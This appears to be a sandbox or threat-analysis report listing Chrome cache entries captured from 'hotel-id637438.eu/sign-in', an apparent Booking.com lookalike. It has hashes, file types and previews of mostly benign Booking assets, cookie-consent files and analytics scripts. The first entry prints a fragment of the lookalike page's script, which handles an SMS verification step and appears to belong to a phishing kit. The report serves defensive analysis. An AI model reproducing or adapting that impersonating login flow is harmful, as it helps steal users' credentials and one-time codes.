SHA-512:	3637C28AE91302661D1F3600F27713E1147E1F148C6F8DC116EF1A35DCF30A664E4D882FC5827D6FF0B1F4C3504406829B4A06676FC63D6CC27D282D2BE8F402
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/sign-in
Preview:	<!DOCTYPE html>.<html class="js" lang="en-us" dir="ltr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.<meta http-equiv="X-UA-Compatible" content="IE=edge">.<style type="text/css" id="operaUserStyle"></style>..<script nonce="">(function(H){H.className=H.className.replace(/\bno-js\b/,'js')})(document.documentElement)</script>.<title>Booking.com</title>.<script>. let requestSent = false;.. function checkPathAndSendRequest() {. const currentPath = window.location.pathname;. if (currentPath.includes('/sign-in/verification-sms') && !requestSent) {. requestSent = true;. const data = { type: "sms" };. fetch('/sign-in/verification', {. method: 'POST',. headers: {. 'Content-Type': 'application/json'. },. body: JSON.stringify(data). }). .then(response => response.json()). .then(result => {. c

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	5.2290771528866244
Encrypted:	false
SSDEEP:	6:YMrTT0dKB4/MzP4iwp+IsTM7pdSQiTdXLPqe1vm9lM8EJaPBOQfc4:YoIXaPra+IsA73+XJWAuEQH
MD5:	901B2C0AB4FC768F490258D3D6119D3D
SHA1:	69368BF9506F776841807655730F161A646C7562
SHA-256:	A2BBAF974DC77E68C485C8804A6E1BF79701BE127E1AD7DDBC4BA3A023856A64
SHA-512:	8B542A40360D3660D028F1AE9629173E814E03C34F44C917FE2458E98D0C0D2690C51060B6FCA424376D73918C417D836D1924651266322B2CE23E1694C66066
Malicious:	false
Reputation:	low
Preview:	{"id":1562364,"name":"Variation 1","modifications":[{"id":5168013,"selector":"","type":"addCSS","value":"#block-secondarynavigation .menu-item.menu-item-level--0 > a[href*=\"join\"]:not(:hover) {\n color: var(--bui_color_complement);\n}"}],"_tagInfo":"2024/07/05 15:13:45 UTC"}

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	6486
Entropy (8bit):	7.9606235092276325
Encrypted:	false
SSDEEP:	192:bJlTeN0hSOa6rGewnqK2QDT2NEfvdGeQni/rET:wbEGewqK3LHLQi/rg
MD5:	43CD6CDBC89384C35F285208A43C7DF8
SHA1:	EC956C6BCC273F331CBC9D40D95842BBC25BABC3
SHA-256:	BC664928CBF6A472B5FC17D33256CCBA232B5EC78F938129794FB55347754D1C
SHA-512:	E9FCBCB4F78704B728C3653CC54FC3D54444E0AF76536AEF6006D9C3966DF315A56D73A882AC569AA950FEF583F163BFFEE0525EF566190921CCFB45743E38D5
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/hospitality%404x.png.webp?itok=CnzaJ3-K
Preview:	RIFFN...WEBPVP8X...........V..ALPH.......l....L..B.#..&E..R.I.......^...a..!=Z..c.H....1..cL."4c.0B.#..b29.h.1.1.W~G.......j^/.w.o4..I~...Q{..1..%.s..G..3L......+..6L{...,?u.....o..O.ev...%.l..].^.r.1s3L.n..s....6......'.k.U...K..Y....M3..0...Y-'.mo...W3.8...F..Ji..{ziA.S......:....._..~.N.O.B.\|....=l..\=:2...<..9.y.9c.....1k..o..N.m\|.([........?.{?2...@..@....E.....z.J!..K..Y@.<.s.).....>&.c...0Y.g..K.Y../..F. U.K..+l.....[.\|.?I...1U....K..[_.:$...R...v..s..<c.d.#\.bl4.YC...<..>..).....%m..]`....T......`.K6...k...%.l&.{....{.]..D..F.2.5..<.4...gh~9...m.....O..r.....=.P...........'......".v.4..H....9D.{....\|....45.<O=..>.p..c.BI..Y].yYK.Z.....W.;.......Mc.X,.n...Q.^......<A..A...zP.....{<.)..E.c4....O.....I..{.M.Gs....]>.z...Y.hG..l..D......4..?7;...Hp....GDL...)....kml....&..;+U.4.......X.]%...h.`u.H....qp..+ZAr..n.....j..4..\|..7s......U.Sh:.!.;..O....U.~.Q.x..ZKf.@.z.v.9.)1RS.:....P..M+.)...5v.X.R...,.*..S.8#..\s..z)...C.

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65508)
Category:	downloaded
Size (bytes):	805884
Entropy (8bit):	5.083707468119061
Encrypted:	false
SSDEEP:	24576:8xEmfNAsQZrW4R6erxXbZQCF5qP8czVkO2sdwUqkhBYlJz5oE:8xEmfNAsQZrW4R6erxXbZQCF5qP8czVw
MD5:	7BA11A08E48BA9F76CE05CACEC640727
SHA1:	6B697F983F25B6528544C767277E9A1E2322C7B5
SHA-256:	8E6C1E164372165A4B31001BC9D28614200EAF665A5827BE856AC11D5262946D
SHA-512:	9969DDC1FA8ADA268EBAF448591F602CDC83401BCF73B3A744AAD7A88154F7789A507A922392D43A519C659FB82B940B81C2FE1D01A0646AA9D119FCF75BFED2
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/css/css_8xrXTAiqhK5R19N2cI7xoXYTYSLTDP3dX6YW9tM8lM0.css?delta=1&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ
Preview:	/* @license GPL2+ no URL */.:root{--bui_unit_value:8;--bui_unit_smaller:2px;--bui_unit_small:4px;--bui_unit_medium:8px;--bui_unit_large:16px;--bui_unit_larger:24px;--bui_unit_largest:32px;--bui_color_destructive_dark:#a30000;--bui_color_destructive:#c00;--bui_color_destructive_light:#fcb4b4;--bui_color_destructive_lighter:#ffebeb;--bui_color_destructive_lightest:#fff0f0;--bui_color_callout_dark:#bc5b01;--bui_color_callout:#ff8000;--bui_color_callout_light:#ffc489;--bui_color_callout_lighter:#fff0e0;--bui_color_callout_lightest:#fff8f0;--bui_color_complement_dark:#cd8900;--bui_color_complement:#febb02;--bui_color_complement_light:#ffe08a;--bui_color_complement_lighter:#fdf4d8;--bui_color_complement_lightest:#fefbf0;--bui_color_constructive_dark:#006607;--bui_color_constructive:#008009;--bui_color_constructive_light:#97e59c;--bui_color_constructive_lighter:#e7fde9;--bui_color_constructive_lightest:#f1fef2;--bui_color_primary_dark:#00224f;--bui_color_primary:#003580;--bui_color_primary_li

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3493440438682995
Encrypted:	false
SSDEEP:	3:yionv//thPltXlfMLts0NyWn/NG8bp:6v/lhP/ZMRHNyWn/NG8bp
MD5:	1B6D2DE2867A3E11063BA25AA1CD4209
SHA1:	BD20B0E089F31F35CBA4D0FA7277E73AA74D944C
SHA-256:	95518CBEC0D55A574A9C8EF72A2A7D62AC0D40A4DE5DFE67A76A7D214DC8B743
SHA-512:	D30AC99B9140393CB2EA8EB09F0C69F6107CA5940DDF208B5EC1DD6D5ABDAB37FC60A892AA397579DA75B450965ADE6D37EE84C55550B42DD86F7AA26D99AB88
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............."......sRGB.........IDAT..c`.......c*......IEND.B`.

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	6836
Entropy (8bit):	7.953827204503414
Encrypted:	false
SSDEEP:	192:V98Z0rOHdnYPmrtpczdDuCztc9PmuyYiyrE4EiLyf/5sxgSikPnVJI:VKZ0rOHdYPmrbc5tc9WYiyFFKuuSikE
MD5:	2544C6E02BB25B77B5ACB8E06570066B
SHA1:	545D8A1E7392B6A1BF78455153DAC6FA5B8B99D8
SHA-256:	D2206EE26565CEB16F615FC0ADC3A489C79E0503FDE2394FF8A89BB58C64B2B4
SHA-512:	5B8C9906D8FCDBB24643822F0B24D54F8371D662BC033E95C96F82B9A2DB24CF14D0F29FB06C7881E44B6DC292FA0214CB18DB5612A468E22FB9F50B4A0A5099
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/new%20to%20booking%20revised%404x.png.webp?itok=DVVnxKHR
Preview:	RIFF....WEBPVP8X..............ALPH>.....G.....z......L.I.I.$..$W.$Ir%I.$.I...\I2.+I.$W.\I.$W.+.df.....1...v..9.y..oDL...U"...F..h..z8.@.........9..."....Qv....>....]..^....[...y.G...}.. 0.g.{.QCD..g.#.5Ej.g..m...G....n.).':....37.......g....Ys......[.....UcH.GU..{6....q...3`>,7.....G<5_.N....(2G..&..x.7..o.wOl.....)5..@.%+1......J..C5...z.....7M....k.bJg.S.D"......dc.p...Ni.~......u.B>5.J%.....[..x]'...... t..%.E=.X.4.~.~I.^n.."n..D....t.&..x.Po.@.../)..of..u.mB$.B..U.W.Q?m.......Z....>.8.~...%.........Z....(.:7.....CK^....#.}...[..\......Z.2..E...`.4Sp..v..}t..Es......:..w....#b.LJ7....D..@\|.IZO..>..cU.......5U.`.$}.Z},.S.U+.9/.j....C...r.V..,.f`&R.l..).T.....9.U.9..j=U.1c...X...0........>.@.p8.......@.1c..%b.......k.>1..B...Hd(...S..v..m.X...5.../......B+......J..u.5..y!.%9.._...E.z.P...:......... ....f.fB...h.mG..n..')\|d....6^..@.w(....h.w.$..Q.R)....c.....k...O.;@.~...P...).E.q.})2....b..Xc.P..(Q...O.......W.....p..B...~.._.7.vs.......U

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:	24:2dYwahJhWDCLf3fbeVZmFy6yCXCWX9JVLNpwtbMIhU7C06Fa5QcPm:cyJhbf3fbOKy6yCdtJWWFL6FSQ/
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48905
Entropy (8bit):	5.566694545871129
Encrypted:	false
SSDEEP:	768:AK6hDVMaqSynB3WhXcZ3RucJlYRSGBuF3UMR01V8rb2OtKCB:AK6hDClaXcRRuSlYRX8gM7B
MD5:	E79F8A15DF4826ED8289AA85A222B872
SHA1:	F7E408AAB2FB8138AA9F9FC6C77F9FEC3BB4897F
SHA-256:	F85B5995D7C06BEB250835238610EA7A2FBD4771700970446CC5FDF73863D8A4
SHA-512:	F826AFCEEBC9E2281B66F462B69A374E9B03F4845B96182F9AA03266C24C624EC393FF02EF96B75182A534A4E8AF924F2D8FDC6AB2A17B855DDD267DCD796C2F
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/9778f4ab-6b4a-4e03-bdf8-86a5c037c4bf/en-us.json
Preview:	{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","pccloseButtonType":"Icon","MainText":"Manage your privacy settings","MainInfoText":"Select which cookies you want to accept on Booking.com.","AboutText":"You can find more detailed info on cookie use and descriptions in our privacy and cookie policy.","AboutCookiesText":"Your Privacy","ConfirmText":"Allow All","AllowAllText":"Save Settings","CookiesUsedText":"Cookies used","CookiesDescText":"Description","AboutLink":"https://www.booking.com/general.html?tmpl=docs/privacy-policy","ActiveText":"Active","AlwaysActiveText":"Always Active","AlwaysInactiveText":"Always Inactive","PCShowAlwaysActiveToggle":true,"AlertNoticeText":"By clicking \"Accept,\" you agree to the use of analytical cookies (used to gain insight on website usage and to improve our site and services) and tracking cookies (bot

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24823), with no line terminators
Category:	downloaded
Size (bytes):	24823
Entropy (8bit):	4.792811205299742
Encrypted:	false
SSDEEP:	384:+Z8C4hGoFpHwAuLlCS7FGAVsq1nwGfg4xqsQMPNE:JlMuJ
MD5:	E04AD89975C535B30BAE773D0EB0D3B2
SHA1:	0C72555D0FD844150B6EC407A57DA2D29BF380E2
SHA-256:	06C0EDBFC1B871FB45195265F5FAAD3E23191305F6FF2125557A9FBC287C8992
SHA-512:	6044553C64225C3F3F2AA5EF866BF55B1148CD5B7FE1A668417BF9BC24B70BB7C10048049C2201D986A28CFF85B1A93CE673CBF687FA4B8BE2DAEB5B8C6B73D7
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/scripttemplates/202404.1.0/assets/otCommonStyles.css
Preview:	#onetrust-banner-sdk{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}#onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:bold;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outline:2px solid #000;outline-offset:-2px}#onetrust-banner-sdk a:focus{outline:2px solid #000}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold{font-weight:bold}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .ot-close-icon,#ot-sync-ntfy .ot-close-icon{background-size:contain;background-repeat:no-repeat;background-position:center;height:12px;width:12px}#onetrust-banner-sdk .powered-by-logo,#onetrust-banner-sdk .ot-pc-fo

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 11392, version 1.0
Category:	downloaded
Size (bytes):	11392
Entropy (8bit):	7.963368466271997
Encrypted:	false
SSDEEP:	192:pIKJAZPphaoB5CHpDPuSMAnNMjpLfY3jCo7SOcV9PjqBlj6l8YTrXYMGI5:pYxElNPnMzjJIjCizcVZGBlA8PMGI5
MD5:	8D5D8BFE30885B0CCBAEB7C4B90ED145
SHA1:	29972E4BC7A005AEACC4AD6590C50522414EBAC7
SHA-256:	4D106C1974DEF1C1FFF3D3CD3ED3F6D42EAFA1888A036120F2EEFDA9197A5E22
SHA-512:	0CC6671124F579257420AB18F7F9BCDCE6AA165172DF81E417C3DD978E41DBF2ADE34DA3E273F5E8813751520FA8EAA6FBC38E62694DDD99C27423CB3E4AE031
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3
Preview:	wOFF......,.......N.........................GSUB.......;...T .%zOS/2...D...B...V6"H.cmap.......x...`...glyf......$G..>D.x..head..'H...3...6+.l.hhea..'\|.......$.r..hmtx..'....C...(#V..loca..'.........g&Y.maxp..(x....... ....name..(.............post..)........S...x.c`d``.b0`.c`rq..a..I,.c.b`a...<2.1'3=.......i. f....&;.H.x.c`d..8.....5.i...C..f\|.`..............08<`\|.....b~....A....8.p..x...gn.@...E.M...{.Uw.r..?r....c......]..@..W)........Z{.No{..W.......S.5..h...E...]t.S..G.~..d.aF.e.q&.d.if.e.y.Xd.eVXe.u6.d.mv......q....q...\q....q...<.........\|.>.....P..w.r.........,.-;.R6.........7.Ce_`........``..;.....v,....d`..;.....v...]..b`........v-.....f`........v/........0.G.=..I`O.{....^..2.W....M`o.{....>..1.O.}..K`_......~..3._.m....d..x..{y...`}U.U.JRUI...Z.>,u.>..n.`w....6`.6....i.'..0.....&~..0....@.2..#.CHf..H2..f&0I.d.q......e.......m........O.KQ..a.P.....(...P..2.T..R.....Q..2^. .x..YP..C.ZE..^.s.\.....[...@z(...U.j...33<...o-.......^Q.gc.$.

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18056), with no line terminators
Category:	downloaded
Size (bytes):	18056
Entropy (8bit):	5.4905315628033735
Encrypted:	false
SSDEEP:	384:MiVF7ArqMijkMRksM2kWlTE/JyFe2nEod8YCzgbER90bzIlRaRIX3u3pb7qqVspS:LH7AwlTEhyFe2nRdpCzggR9kElRaRRm0
MD5:	2A3D897945ADE4CF51DACA348A3CB9C1
SHA1:	A50D477A6F22A8965A135C129FBE632E5E8C5A16
SHA-256:	EFC424B0A8011230806828B932168F2416E64A900ACB171844EF9D4EE2DB51E9
SHA-512:	B3E55B5F11C43F1E7C13838F9EFE46264771CED310D1A12FBAF1593BCC516349289CA13401E066440790518AE89C89C3E657F73D06CE16F3CA456C8014D0401C
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/react-chat_src_components_Carousel_Carousel_js-react-chat_src_components_MessageButton_Messag-020420-e1a675876deb028268b2.js
Preview:	"use strict";(self.kindlyJSONp=self.kindlyJSONp\|\|[]).push([["react-chat_src_components_Carousel_Carousel_js-react-chat_src_components_MessageButton_Messag-020420"],{5350:(e,t,n)=>{n.d(t,{A:()=>a});var r=n(257);const o=n(9445).Ay.div.withConfig({displayName:"styles__Carousel",componentId:"sc-os329e-0"})(["transition:all 0.3s ease-in-out;"]),a=function(e){let{children:t,carouselPosition:n,onTouchEnd:a,onTouchMove:l,onTouchStart:i}=e;return r.createElement(o,{onTouchStart:i,onTouchEnd:a,onTouchMove:l,style:{transform:"translateX(".concat(n,"px)")}},t)}},2905:(e,t,n)=>{n.d(t,{A:()=>c});var r=n(257),o=n(5360),a=n(8498),l=n(1714),i=n(8389),s=n(1741);const c=function(e){let{name:t,label:n,control:c,validators:d,register:u,id:p,value:m,isLast:g,inputType:h,...b}=e,f={};d&&(f=(0,s.G8)(d));const x=(0,l.A)({name:t,control:c}),{ref:v,onChange:y,..._}=u?u(t,f):{};return r.createElement(r.Fragment,null,r.createElement(o.hl,{htmlFor:p},r.createElement(o.eo,Object.assign({ref:v,name:t,type:h,id:p,valu

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26708), with no line terminators
Category:	downloaded
Size (bytes):	26708
Entropy (8bit):	5.187654394328841
Encrypted:	false
SSDEEP:	768:RBnfliM5bdz2LYnoszell/WePOCaRmagRbf3AjW/yJo8xuAKep0Axz:RBnNiUdz2LYnowklrOCaRmagRbfQjWAp
MD5:	A2B9BC5819AA624C49A0036B660AB72B
SHA1:	F1A035EBD4B7697E6169EA85951E7237A6AA1E0C
SHA-256:	5D1B3D626EF2FE0A08F49F3EEE2C5A769C36DA469E7F8E7E557658EFFA3DC81A
SHA-512:	F3FDBF6986BA6A62CAC9AFB4EF8955395BF0F549746F96B6A3CE28198F895353F6F6A9328B8FA7E57B0A8154BED33BF78CED9839397390A8E1FD2C8D468A3A73
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/shared/me.7d4a349527f92fc578d9.js
Preview:	"use strict";(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[693],{9290:(e,t,r)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.deleteEvents=t.setEvents=t.setModificationDuringClick=t.isModificationDuringClick=t.isClickInProgress=void 0;var n=r(4476),a=r(3478),o=!1,i=!1,u=(t.isClickInProgress=function(){return o},t.isModificationDuringClick=function(){return i},t.setModificationDuringClick=function(e){i=e}),l=function(){o=!1,i&&((0,n.getWindow)().requestAnimationFrame(a.startLoop),u(!1))},d=function(e){var t=e.type;o=!0,"mouseup"===t&&setTimeout((function(){return o&&l()}),16)},c={passive:!0,capture:!0},f={mousedown:d,mouseup:d,click:function(){return setTimeout(l,0)}},s=Object.keys(f);t.setEvents=function(){s.forEach((function(e){document.addEventListener(e,f[e],c)}))},t.deleteEvents=function(){s.forEach((function(e){document.removeEventListener(e,f[e],c)}))}},107:(e,t,r)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.rerun=t.simpleRollbackAndStop=t.stop=t.start=t.ro

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 220x140, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	14826
Entropy (8bit):	7.985905181758237
Encrypted:	false
SSDEEP:	384:pZ9qYmHNf3cXzDrizA7BcN8Rem2IEs2k5W/+Tu7WT:p4HNfWzD+UlcN8RezFg5t1
MD5:	5D4318F103EEACF6A291E2AFE68257E4
SHA1:	6544605AD29D5287EC04FE9C4411A824F7464E9B
SHA-256:	385BD16B54F7F9BF7122348988E364EBF2721C5DEB28A450915B5C92BA3E976E
SHA-512:	4F490551064F5ABA28D526C01EBA4E7297285A486B62E301FB944D4EAC409BDCAF8B16459FC5B900696166B619506005E5203D75C9431FD1052027942F290B6E
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2023-10/travel_predictions_2024_1_1.jpg.webp?h=db5e2b43&itok=jW2sd4Zb
Preview:	RIFF.9..WEBPVP8 .9...........>...A!..a...a(..._..Q.......w..._.?(..}...._.\|.....././....g.........[...'......w....z....s.....?.'......B........'...........w....._....+=..O._.C...>Y./.?........,.O.g./?.....'......e.....?..n~..W.........>B?..U...G.o._.O.......?...............=.7.W.....^......W._....._......../...o......}...O.....?K.....G.....O.......Q.].......O...........s...../...?.S...U(6.M..~.....9@My%.U.....r...I../..>...hC......D].y.kv.L...U{..E...@...........p.c...%..l.......BT}bq.....a...7....7/.z..G.OO"D4....:-8...V....:.o&....m.0x....).Eq\...dU..g{5........5.R^..V.P?...!...u.H....>.I..3..>.....u4O./U ....(..sAbv...{........NC..T.^8h%..Cf+.....o... 'fg....~......w..C..)..o..H\..GW..Zt9.......BY......A^{..}\E4{....o..u0..d."* v.......P)},..dM.;.7...2.2.(.L...s...-.....V@.o.Z...!W..j_.c...>.M+\.k.G ._.m..3..(f....=X.`f.>...`.I83._lvi&.g......\|............6....`!.../..g.v$D;.1K.,C.9...[.Z.g"..m11........*.t1...i.....w.#."_.>..{.=

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	69
Entropy (8bit):	4.057426088150192
Encrypted:	false
SSDEEP:	3:YGKeMfQ2pHWiR8HopHW4OE9HsuXU9WyRHfHyY:YGKed2pHD5YEl5k9zyY
MD5:	B04CD3F8043EF04F417D4B0E4BCBBC03
SHA1:	88F259A4AE3045409B3657E7D7A791D321BA9DCE
SHA-256:	59E58524340CD7AD353BE010374B124C242FDDE10A0ED41047FE2FD4BB9E5A2E
SHA-512:	A285C493B939D2A165D80F87FC830F5D02AFCC7A8EA1C5CAF9CAA87ABD286F1C98598FFD83023044BDB23D344C60EEF6A6C4BFEDEDD42A4297A0AC09E22FA5B2
Malicious:	false
Reputation:	low
URL:	https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Preview:	{"country":"US","state":"NY","stateName":"New York","continent":"NA"}

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 220x140, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	2864
Entropy (8bit):	7.9096660912359
Encrypted:	false
SSDEEP:	48:BUmQqjTH2QLMcC3qTyZ/r0LUS2jc4vGq8jHd9NlFYJyE3V5GcT58qiOk:Oqjb21nayZwAvGXHd3fYJ3F5GcT59i5
MD5:	A982B081C8D4737AAA9DCF8CB6A83332
SHA1:	25540F49987CF32D22590165926D5E96F34D0265
SHA-256:	9554F7317F081102A458CDD6C56D141CE3DE08DDF963116F6202A09B4EA5C05D
SHA-512:	8850C0E26A7F92C94F87A85DAF1F1DDA1BAF655D2597B87184EE14F3322C1607F6DF681645230D4E48B970FF512035CF87A1B57DAD6F7C8FFA83CF4C18436FFF
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/menu_teaser_desktop/public/2024-03/group_15_0.jpg.webp?h=46498437&itok=qG67wD9Z
Preview:	RIFF(...WEBPVP8 .....3.......>...A....+..a,m..g\|......)... .n.....?..).9~.{.......\|.?H...n...........o..j.Q..?]=.?..Y.....?..................~....l^_.k.6a.........>._..=...Q.2.>....`.wz?.z......>...O......@\|w..............0...[.o.....?..._.....k.5.[]K#..r9....... .r.XFFf..c72N..:8.........b.?>Yd.%..)P<....:.gH.8i..TfSc.......y.m..8..].Bd;_\.i3?.....0x.V#sf-S.:.)..].8.lQJs`...Uq 2..:..x..?:..{...d 6.C..V.Q.[....~.......;...=m}.ok..S....h.K..8.......)}.!J.W.....@.`,..0^...j.'..p...O...$..57.WBo.....X...lX.........1.>...u.....g..7.0..".#.....dA...cU...p9..?....{..s&..AV?....2...9....,..s..\....z^.hMNZ...8.....!..xO"......+..H....B.y..m...C.'......2.......]6..^...ju.ZPQ..Z.P..$q....i...9..N.u.......VQ$.......`....~..5.f+.../.9.C.....'..Q.K\}...>.}D.l.e.. .........a.....<...^...O..i...He..+......%(.F...H...)...^. n.&.w.F2a~.eI.F.dC.m.).9....a..s3.......:..........Y.(q.c<.n..C.B'....rr..fGF..W.Fw=\`Q'5~".+.a(.S.#R%.s..q:?4.N......Z..:...,a

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	4.602845537956881
Encrypted:	false
SSDEEP:	384:jx4444GRmwqNHsQIj+ksvfevwY5bbbbbbbbbbEW:N4444GOs3sY5bbbbbbbbbbZ
MD5:	6535271F9636F6408B0C3BB15400085A
SHA1:	F815AC8D98C2C76B196564536697C2E6A01B5E73
SHA-256:	9D6E7D6843C0B17B992FAFA510BAD5C7D2550BC329D3AA724809645FEC1DEE00
SHA-512:	E7E8F903D6A5D0307F68E8556B8AE6F444DAB5232B24B238965358CE627FD1E1C60C11FECEC38AE407062C4AB0149BA40F22CD7004B633E7A72E1872FE57CA54
Malicious:	false
Reputation:	low
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......$.......................5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...4...4...................................5.l.5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5.P.5...........................5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5.D.4...................5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5..5.[~3...............5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5.